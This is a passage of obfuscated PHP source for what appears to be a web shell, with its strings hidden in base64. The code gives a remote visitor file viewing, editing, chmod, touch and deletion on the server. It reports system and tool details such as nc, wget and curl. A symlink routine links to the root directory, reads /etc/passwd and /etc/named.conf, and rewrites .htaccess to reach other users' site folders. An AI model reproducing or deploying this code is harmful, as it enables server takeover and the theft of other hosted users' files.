$carinamafileaja[wb('ZXh0ZW5zaW9u')]; if ($GNJ[26]($selected) && is_file($selected) && $GNJ[10]($selected)) { echo wb('ICYjMTI4MzA0OyA=') . $fname . wb('Lg==') . $ename . wb('IA=='); } else { if ($GNJ[26]($selected) && $GNJ[8]($selected) && $GNJ[35]($selected)) { echo wb('ICYjMTI4MTYyOyA=') . $fname . wb('IA=='); } if ($GNJ[26]($selected)) { rec($selected); echo wb('ICYjMTI4MzA0OyAmIzEyODE2Mjsg') . $fname . wb('IA=='); } } } echo wb('IChUaGlzIHBhZ2Ugd2lsbCByZWxvYWQgaW4gMyBzZWNvbmRzKTxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjMiPg=='); } } $a_ = wb('PHN0eWxlPi5kaXZpZGV7d2lkdGg6MTAwJTtib3JkZXI6MDtkaXNwbGF5OmlubGluZS1ibG9ja30uZGl2aWRlLWxlZnR7ZmxvYXQ6bGVmdDt3aWR0aDo0OS41JX0uZGl2aWRlLXJpZ2h0e2Zsb2F0OnJpZ2h0O3dpZHRoOjQ5LjUlfTwvc3R5bGU+CgkJPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNyIgd2lkdGg9IjEwMCUiPjx0aGVhZD48dHI+PHRoPg=='); $b_ = wb('PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjx0cj48dGQ+PC90ZD48L3RyPjx0cj48dGQ+'); $c_ = wb('PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT4='); $d_ = wb('PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyBmb3JtLWNvbnRyb2wgY29sLW1kLTMiIHZhbHVlPSImbmJzcDtPSyZuYnNwOyIgLz4KIDwvZm9ybT4='); function rayeli($checkfx, $namafile) { global $GNJ; printf(wb('PGRpdiBjbGFzcz0nZGl2aWRlIHRhYmxlIHRhYmxlLWJvcmRlcmVkIG10LTIgaG92ZXJUYWJsZSc+PGRpdiBjbGFzcz0nZGl2aWRlLWxlZnQnPjx0YWJsZSBjbGFzcz0ndGFibGUgdGFibGUtYm9yZGVyZWQgaG92ZXJUYWJsZSc+IDx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+Q3JlYXRlZCB0aW1lPC90ZD48dGQ+JXM8L3RkPjwvdHI+PHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+JXM8L3RkPjwvdHI+PHRyPjx0ZD5MYXN0IGFjY2Vzc2VkPC90ZD48dGQ+JXM8L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48ZGl2IGNsYXNzPSdkaXZpZGUtcmlnaHQnPjx0YWJsZSBjbGFzcz0ndGFibGUgdGFibGUtYm9yZGVyZWQgIGhvdmVyVGFibGUnPiA8dHI+PHRkPkZpbGU8L3RkPjx0ZD4=') . $namafile . wb('PC90ZD48L3RyPjx0cj48dGQ+T3duZXIvR3JvdXA8L3RkPjx0ZD4lczwvdGQ+PC90cj48dHI+PHRkPk1ENTwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+U0hBMTwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+UGF0aDwvdGQ+PHRkPiVzPC90ZD48L3RyPjwvdGFibGU+PC9kaXY+PC9kaXY+'), GetFileSize(@$GNJ[34]($checkfx)), x($checkfx), GetFileTime($checkfx, wb('Y3JlYXRl')), GetFileTime($checkfx, wb('bW9kaWZ5')), GetFileTime($checkfx, wb('YWNjZXNz')), GetFileOwnerGroup($checkfx), @md5_file($checkfx), @sha1_file($checkfx), realpath($checkfx)); } if (isset($_GET[wb('cw==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('cw==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdDtjb2xvcjogZ3JlZW47Ij48aDI+Vmlld2luZyA=') . rehex($_GET[wb('cw==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('cw==')]) . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('cw==')]) . wb('CiA8dGV4dGFyZWEgaWQ9ImlucHV0VGV4dEYiIGNsYXNzPSJmb3JtLWNvbnRyb2wiPg==') . $GNJ[15](reader(rehex($_GET[wb('cw==')]))) . wb('PC90ZXh0YXJlYT48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxiciAvPjxidXR0b24gY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IGJ0bi1zbSIgb25jbGljaz0ic2F2ZVRleHRBc0ZpbGUoKSI+RE9XTkxPQUQ8L2J1dHRvbj48YnIgLz48c2NyaXB0PnZhciBlZGl0b3I9Q29kZU1pcnJvci5mcm9tVGV4dEFyZWEoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucHV0VGV4dEYiKSx7dGhlbWU6ImRyYWN1bGEiLG1vZGU6ICJhcHBsaWNhdGlvbi94LWh0dHBkLXBocCIsIHN0eWxlQWN0aXZlTGluZTogdHJ1ZSxyZWFkT25seTogInRydWUiLG1hdGNoQnJhY2tldHM6ITAsbGluZU51bWJlcnM6ITAsaW5kZW50VW5pdDo0LGluZGVudFdpdGhUYWJzOiEwLGxpbmVXcmFwcGluZzohMCxhdXRvZm9jdXM6ITB9KS5zZXRTaXplKDExMzYsNDAwKTtmdW5jdGlvbiBzYXZlVGV4dEFzRmlsZSgpe3ZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWUsdD1uZXcgQmxvYihbZV0se3R5cGU6InRleHQvcGxhaW4ifSksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJhIik7bi5kb3dubG9hZD0i') . rehex($_GET[wb('cw==')]) . wb('IixuLmlubmVySFRNTD0iRE9XTkxPQUQiLG51bGwhPXdpbmRvdy53ZWJraXRVUkw/bi5ocmVmPXdpbmRvdy53ZWJraXRVUkwuY3JlYXRlT2JqZWN0VVJMKHQpOihuLmhyZWY9d2luZG93LlVSTC5jcmVhdGVPYmplY3RVUkwodCksbi5vbmNsaWNrPWRlc3Ryb3lDbGlja2VkRWxlbWVudCxuLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobikpLG4uY2xpY2soKX08L3NjcmlwdD4=') . $c_; rayeli($checkfx, rehex($_GET[wb('cw==')])); } else { echo wb('PGgyPkZJTEUgTk9UIEVYSVNUITwvaDI+'); } } elseif (isset($_GET[wb('eQ==')])) { echo $a_ . wb('UkVRVUVTVA==') . $b_ . wb('CiA8Zm9ybSBtZXRob2Q9InBvc3QiPgogCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIG1kLTMiIHR5cGU9InRleHQiIG5hbWU9IjEiIGF1dG9jb21wbGV0ZT0ib2ZmIiAvPiZuYnNwOyZuYnNwOwogCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIG1kLTMiIHR5cGU9InRleHQiIG5hbWU9IjIiIGF1dG9jb21wbGV0ZT0ib2ZmIiAvPgogCQ==') . $d_ . wb('CiA8YnIgLz48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3MgPSAiZm9ybS1jb250cm9sIj4='); if (isset($_POST[wb('Mg==')])) { echo $GNJ[15](dre($_POST[wb('MQ==')], $_POST[wb('Mg==')])); } echo wb('PC90ZXh0YXJlYT4KIAkJ') . $c_; } elseif (isset($_GET[wb('ZQ==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('ZQ==')]); if ($GNJ[26]($checkfx)) { if ($GNJ[31]($checkfx)) { $satinggaWR = wb('PGgyIHN0eWxlPSJjb2xvcjogI2ZmZjsiPkVkaXRpbmcg') . rehex($_GET[wb('ZQ==')]) . wb('PC9oMj4='); echo $a_ . wb('IDxkaXYgc3R5bGU9ImZsb2F0OmxlZnQiPg==') . $satinggaWR . wb('PC9kaXY+PGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQiPlBhdGg6IDxjb2RlPg==') . $checkfx . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('ZQ==')]) . wb('CiA8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gYnRvYU1SRCgpIj48dGV4dGFyZWEgbmFtZT0iZSIgaWQ9ImlucHV0VGV4dEYiIGNsYXNzPSJmb3JtLWNvbnRyb2wiPg==') . $GNJ[15](reader(rehex($_GET[wb('ZQ==')]))) . wb('PC90ZXh0YXJlYT4KIDxicj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxidXR0b24gY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IGJ0bi1zbSIgb25jbGljaz0ic2F2ZVRleHRBc0ZpbGUoKSI+RE9XTkxPQUQ8L2J1dHRvbj48L2Rpdj4J') . $d_ . wb('CiAJCQ==') . $c_ . wb('PHNjcmlwdD52YXIgZWRpdG9yPUNvZGVNaXJyb3IuZnJvbVRleHRBcmVhKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikse3RoZW1lOiJtb25va2FpIixtb2RlOiAiYXBwbGljYXRpb24veC1odHRwZC1waHAiLHN0eWxlQWN0aXZlTGluZTogdHJ1ZSxtYXRjaEJyYWNrZXRzOiEwLGxpbmVOdW1iZXJzOiEwLGluZGVudFVuaXQ6NCxpbmRlbnRXaXRoVGFiczohMCxsaW5lV3JhcHBpbmc6ITAsYXV0b2ZvY3VzOiEwfSkuc2V0U2l6ZSgxMTM2LDQwMCk7IGZ1bmN0aW9uIGJ0b2FNUkQoKSB7IHZhciBpbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWU7IHZhciBlbmNvZGVkID0gYnRvYShpbnB1dCk7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucHV0VGV4dEYiKS52YWx1ZSA9IGVuY29kZWQ7IH1mdW5jdGlvbiBzYXZlVGV4dEFzRmlsZSgpe3ZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWUsdD1uZXcgQmxvYihbZV0se3R5cGU6InRleHQvcGxhaW4ifSksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJhIik7bi5kb3dubG9hZD0i') . rehex($_GET[wb('ZQ==')]) . wb('IixuLmlubmVySFRNTD0iRG93bmxvYWQgRmlsZSIsbnVsbCE9d2luZG93LndlYmtpdFVSTD9uLmhyZWY9d2luZG93LndlYmtpdFVSTC5jcmVhdGVPYmplY3RVUkwodCk6KG4uaHJlZj13aW5kb3cuVVJMLmNyZWF0ZU9iamVjdFVSTCh0KSxuLm9uY2xpY2s9ZGVzdHJveUNsaWNrZWRFbGVtZW50LG4uc3R5bGUuZGlzcGxheT0ibm9uZSIsZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChuKSksbi5jbGljaygpfTwvc2NyaXB0Pg=='); rayeli($checkfx, rehex($_GET[wb('ZQ==')])); if (isset($_POST[wb('ZQ==')])) { $ex = $_POST[wb('ZQ==')]; $ragu = b64dd($ex); $fp = $GNJ[17](rehex($_GET[wb('ZQ==')]), wb('dw==')); if ($GNJ[18]($fp, $ex)) { $wfolder = $GNJ[20](wb('WS1tLWQgZzpp'), $GNJ[21]("{$d}")); $px = $GNJ[33]($wfolder); @$GNJ[25]($checkfx, $px); echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9Jz9kPQ==') . $_GET[wb('ZA==')] . wb('JmU9') . $_GET[wb('ZQ==')] . wb('JyIgLz4='); } else { ER(); } $GNJ[19]($fp); } } else { echo wb('PGJyPg==') . header_Everyfile($_GET[wb('ZQ==')]) . wb('PGgxIGNsYXNzPSd0ZXh0LWNlbnRlcic+RmlsZSBub3Qgd3JpdGVhYmxlITwvaDE+PHAgY2xhc3M9J3RleHQtY2VudGVyJz5IZSBoYXMgcmV0dXJuZWQgdG8gaGlzIGdsb3J5LCB5b3VyIHByaW50ZXIgaXMgcGFydCBvZiBhIGZsYW1pbmcgYm90bmV0LCB0aGUgaGFja2VyIGdvZCBoYXMgcmV0dXJuZWQgZnJvbSB0aGUgZGVhZC4gWU9VUiBQUklOVEVSIEhBUyBCRUVOIE9XTkVEITwvcD4='); } } else { echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5GaWxlIG5vdCBleGlzdCEgPGEgaHJlZj0nP2Q9') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPjwvaDI+PC9jZW50ZXI+'); } } elseif (isset($_GET[wb('eA==')])) { rec(rehex($_GET[wb('eA==')])); if ($GNJ[26](rehex($_GET[wb('eA==')]))) { ER(); } else { OK(); } } elseif (isset($_GET[wb('dA==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('dA==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdCI+PGgyPkdhbnRpIFdha3R1IEZpbGUg') . rehex($_GET[wb('dA==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $checkfx . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('dA==')]) . wb('CiA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJ0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0zIiBhdXRvY29tcGxldGU9Im9mZiIgdHlwZT0idGV4dCIgdmFsdWU9Ig==') . $GNJ[20](wb('WS1tLWQgSDpp'), $GNJ[21](rehex($_GET[wb('dA==')]))) . wb('Ij4KIAk=') . $d_ . wb('CiAJCQ==') . $c_; rayeli($checkfx, rehex($_GET[wb('dA==')])); if (!empty($_POST[wb('dA==')])) { $p = $GNJ[33]($_POST[wb('dA==')]); if ($p) { if (!$GNJ[25](rehex($_GET[wb('dA==')]), $p, $p)) { ER(); } else { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); } } else { ER(); } } } else { echo wb('RmlsZSBub3QgZXhpc3QhIDxhIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPg=='); } } elseif (isset($_GET[wb('aw==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('aw==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdCI+PGgyPkNITU9EIA==') . rehex($_GET[wb('aw==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $checkfx . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('aw==')]) . wb('CiA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJiIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9Ig==') . $GNJ[22]($GNJ[23](wb('JW8='), $GNJ[24](rehex($_GET[wb('aw==')]))), -4) . wb('Ij4g') . $d_ . wb('CiAJCQ==') . $c_; rayeli($checkfx, rehex($_GET[wb('aw==')])); if (!empty($_POST[wb('Yg==')])) { $x = $_POST[wb('Yg==')]; $t = 0; for ($i = strlen($x) - 1; $i >= 0; --$i) { $t += (int) $x[$i] * pow(8, strlen($x) - $i - 1); } if (!$GNJ[12](rehex($_GET[wb('aw==')]), $t)) { ER(); } else { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); } } } else { echo wb('RmlsZSBub3QgZXhpc3QhIDxhIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPg=='); } } elseif (isset($_GET[wb('bA==')])) { echo $a_ . wb('K0RJUg==') . $b_ . wb('IDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJsIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9IiI+') . $d_ . wb('CiAJCQ==') . $c_; if (isset($_POST[wb('bA==')])) { if (!$GNJ[11]($_POST[wb('bA==')])) { ER(); } else { echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('MmY=') . hex($_POST[wb('bA==')]) . wb('Ij4='); } } } elseif (isset($_GET[wb('cQ==')])) { if (@$GNJ[10](__FILE__)) { @$GNJ[38]($GNJ[9]); header(wb('TG9jYXRpb246IA==') . basename($_SERVER[wb('UEhQX1NFTEY=')]) . ''); die; } else { echo $g; } } elseif (isset($_GET[hex(wb('aW5mbw=='))])) { if (Unix()) { $softdict = wb('TGludXgJCQkJCTogY1VSTCA6IA==') . $curl . wb('IHwgV2dldCA6IA==') . $wget . wb('IHwgR0NDIDog') . $gcc . wb('IHwgc3VkbyA6IA==') . $sudo . wb('IHwgc2ggOiA=') . $sh . wb('IHwgYmFzaCA6IA==') . $bash . wb('IHwgY3JvbnRhYiA6IA==') . $crontab . wb('IHwgTlMgOiA=') . $named . wb('IHwgTkMgOiA=') . $nc . wb('IHwgRmV0Y2ggOiA=') . $fetch . wb('IHwgR2V0IDog') . $get; } else { $softdict = wb('V2luZG93cwkJCQk6IGNlcnR1dGlsIDog') . $certutil . wb('IHwgbmV0IDog') . $net . wb('IHwgc2NodGFza3MgOiA=') . $schtasks . wb('IHwgYXR0cmliIDog') . $attrib; } echo wb('PGhyPlNZU1RFTSBJTkZPUk1BVElPTlM8Y2VudGVyPgogPHRleHRhcmVhIGNsYXNzID0gImZvcm0tY29udHJvbCIgcm93cz0iMzAiIHJlYWRvbmx5PgoJU2VydmVyIAkJCQkJOiA=') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('IHwgU2VydmVyIElQOiA=') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('IHwgWW91ciBJUDog') . $_SERVER[wb('UkVNT1RFX0FERFI=')] . wb('CglLZXJuZWwgVmVyc2lvbiAJCQk6IA==') . php_uname() . wb('CglTb2Z0d2FyZSAJCQkJOiA=') . $_SERVER[wb('U0VSVkVSX1NPRlRXQVJF')] . wb('CglTdG9yYWdlIFNwYWNlIAkJCTog') . $used . wb('Lw==') . $total . wb('IChGcmVlIDog') . $freespace . wb('KQ==') . wb('IHwgVGltZSBPbiBTZXJ2ZXIgOiA=') . $GNJ[20](wb('ZCBNIFkgaDppOnMgYQ==')) . wb('CglVc2VyIC8gR3JvdXAgCQkJOiA=') . $user . wb('ICg=') . $uid . wb('KSB8IA==') . $group . wb('ICg=') . $gid . wb('KQoJUEhQIFZlcnNpb24gCQkJOiA=') . $GNJ[1]() . wb('IE9uIA==') . php_sapi_name() . wb('IHwgTWFnaWMgUXVvdGVzIDog') . $magicquotes . wb('CglNb3JlIEluZm8JCQkJOiBTYWZlIE1vZGUgOiA=') . $sm . wb('IHwgT3BlbiBCYXNlIERpciA6IA==') . $show_obdir . wb('IHwgU2FmZSBNb2RlIEV4ZWMgRGlyIDog') . $show_exec . wb('IHwgU2FmZSBNb2RlIEluY2x1ZGUgRGlyIDog') . $show_include . wb('CglEYXRhYmFzZQkJCQk6IE15U1FMIDog') . $mysql . wb('IHwgTVNTUUwgOiA=') . $mssql . wb('IHwgUG9zdGdyZVNRTCA6IA==') . $pgsql . wb('IHwgT3JhY2xlIDog') . $oracle . wb('CglTb2Z0d2FyZQkJCQk6IFBlcmwgOiA=') . $perl . wb('IHwgUHl0aG9uIDog') . $python . wb('IHwgUnVieSA6IA==') . $ruby . wb('IAoJRGlzYWJsZSBGdW5jdGlvbnMgCQk6IA==') . $show_ds . wb('Cgk=') . $softdict . wb('Cgk8L3RleHRhcmVhPgogPC9jZW50ZXI+'); } elseif (isset($_GET[hex(wb('bWFzcw=='))])) { MassmenU($d); } elseif (isset($_GET[hex(wb('c3ltbGluaw=='))])) { AutomenU($d); echo wb('PGNlbnRlcj4gPGgyPiBTeW1saW5rIFkgPC9oMj4gPGJyPjxicj4gPGZvcm0gbWV0aG9kID0gJ1BPU1QnPiA8ZGl2IGNsYXNzID0gJ3JvdyBjbGVhcmZpeCc+PGRpdiBjbGFzcyA9ICdjb2wtbWQtNCc+PGlucHV0IHR5cGUgPSAnc3VibWl0JyBuYW1lID0gJ3N5bWxpbmsyJyBjbGFzcyA9ICdmb3JtLWNvbnRyb2wnIHZhbHVlID0gJ1N5bWxpbmsnIGhlaWdodD0nMTAnPjwvZGl2PjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+PGJyPg=='); if (isset($_POST[wb('c3ltbGluazI=')])) { $d0mains = @file(wb('L2V0Yy9uYW1lZC5jb25m')); if ($d0mains) { @$GNJ[11](wb('eGNvbmZpZw=='), 511); $GNJ[2](wb('eGNvbmZpZw==')); exe(wb('bG4gLXMgLyByb290')); $file3 = wb('VDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekNrUnBjbVZqZEc5eWVVbHVaR1Y0SUhoamIyNW1hV2N1YUhSdENrRmtaRlI1Y0dVZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2tGa1pFaGhibVJzWlhJZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2xOaGRHbHpabmtnUVc1NQ=='); $fp3 = $GNJ[17](wb('Lmh0YWNjZXNz'), wb('dw==')); $fw3 = $GNJ[18]($fp3, b64dd($file3)); @$GNJ[19]($fp3); echo wb('PHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSBzdHlsZT0nd2lkdGg6NjAlO2JvcmRlci1jb2xvcjojMzMzMzMzOyc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlMuIE5vLjwvZm9udD48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPkRvbWFpbnM8L2ZvbnQ+PC90ZD48dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPg=='); $dcount = 1; foreach ($d0mains as $d0main) { if (eregi(wb('em9uZQ=='), $d0main)) { preg_match_all(wb('I3pvbmUgIiguKikiIw=='), $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { $user = posix_getpwuid(@fileowner(wb('L2V0Yy92YWxpYXNlcy8=') . $domains[1][0])); echo wb('PHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPg==') . $dcount . wb('PC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1sZWZ0PjxhIGhyZWY9aHR0cDovL3d3dy4=') . $domains[1][0] . wb('Lz48Zm9udCBjbGFzcz10eHQ+') . $domains[1][0] . wb('PC9mb250PjwvYT48L3RkPgo8dGQ+') . $user[wb('bmFtZQ==')] . "</td>
<td><a href='{$full}/xconfig/root/home/" . $user[wb('bmFtZQ==')] . wb('L3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY2xhc3M9dHh0PlN5bWxpbms8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4='); flush(); $dcount++; } } } echo wb('PC90YWJsZT4='); } else { $TEST = @file(wb('L2V0Yy9wYXNzd2Q=')); if ($TEST) { @$GNJ[11](wb('eGNvbmZpZw=='), 511); $GNJ[2](wb('eGNvbmZpZw==')); exe(wb('bG4gLXMgLyByb290')); $file3 = wb('VDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekNrUnBjbVZqZEc5eWVVbHVaR1Y0SUhoamIyNW1hV2N1YUhSdENrRmtaRlI1Y0dVZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2tGa1pFaGhibVJzWlhJZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2xOaGRHbHpabmtnUVc1NQ=='); $fp3 = $GNJ[17](wb('Lmh0YWNjZXNz'), wb('dw==')); $fw3 = $GNJ[18]($fp3, b64dd($file3)); @$GNJ[19]($fp3); echo wb('PHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MT48dHI+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5Vc2VyczwvZm9udD48L3RkPiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5TeW1saW5rPC9mb250PjwvdGQ+PC90cj4='); $dcount = 1; $file = $GNJ[17](wb('L2V0Yy9wYXNzd2Q='), wb('cg==')) or die(wb('VW5hYmxlIHRvIG9wZW4gZmlsZSE=')); while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match(wb('L1wvKC4qPylcOlwvL3M='), $s, $matches); $matches = $GNJ[14](wb('aG9tZS8='), '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == wb('Ymlu') || $matches == wb('ZXRjL1gxMS9mcw==') || $matches == wb('dmFyL2xpYi9uZnM=') || $matches == wb('dmFyL2FycHdhdGNo') || $matches == wb('dmFyL2dvcGhlcg==') || $matches == wb('c2Jpbg==') || $matches == wb('dmFyL2FkbQ==') || $matches == wb('dXNyL2dhbWVz') || $matches == wb('dmFyL2Z0cA==') || $matches == wb('ZXRjL250cA==') || $matches == wb('dmFyL3d3dw==') || $matches == wb('dmFyL25hbWVk')) { continue; } echo wb('PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPg==') . $dcount . wb('PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0Pg==') . $matches . wb('PC90ZD4='); echo "<td align=center><font class=txt><a href={$fullx}/xconfig/root/home/" . $matches . wb('L3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4='); $dcount++; } $GNJ[19]($file); echo wb('PC90YWJsZT4='); } else { if ($os != wb('V2luZG93cw==')) { @$GNJ[11](wb('eGNvbmZpZw=='), 511); @$GNJ[2](wb('eGNvbmZpZw==')); @exe(wb('bG4gLXMgLyByb290')); $file3 = wb('VDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekNrUnBjbVZqZEc5eWVVbHVaR1Y0SUhoamIyNW1hV2N1YUhSdENrRmtaRlI1Y0dVZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2tGa1pFaGhibVJzWlhJZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2xOaGRHbHpabmtnUVc1NQ=='); $fp3 = $GNJ[17](wb('Lmh0YWNjZXNz'), wb('dw==')); $fw3 = $GNJ[18]($fp3, b64dd($file3)); @$GNJ[19]($fp3); echo wb('PGgyPjxjZW50ZXI+U3ltbGluayBZPC9jZW50ZXI+PC9oMj4gPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MT48dHI+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPklEPC9mb250PjwvdGQ+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPg=='); $temp = ''; $val1 = 0; $val2 = 1000; for (; $val1 <= $val2; $val1++) { $uid = @posix_getpwuid($val1); if ($uid) { $temp .= join(wb('Og=='), $uid) . wb('Cg=='); } } echo wb('PGJyLz4='); $temp = trim($temp); $file5 = $GNJ[17](wb('dGVzdC50eHQ='), wb('dw==')); fputs($file5, $temp); $GNJ[19]($file5); $dcount = 1; $file = $GNJ[17](wb('dGVzdC50eHQ='), wb('cg==')) or die(wb('VW5hYmxlIHRvIG9wZW4gZmlsZSE=')); while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match(wb('L1wvKC4qPylcOlwvL3M='), $s, $matches); $matches = $GNJ[14](wb('aG9tZS8='), '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == wb('Ymlu') || $matches == wb('ZXRjL1gxMS9mcw==') || $matches == wb('dmFyL2xpYi9uZnM=') || $matches == wb('dmFyL2FycHdhdGNo') || $matches == wb('dmFyL2dvcGhlcg==') || $matches == wb('c2Jpbg==') || $matches == wb('dmFyL2FkbQ==') 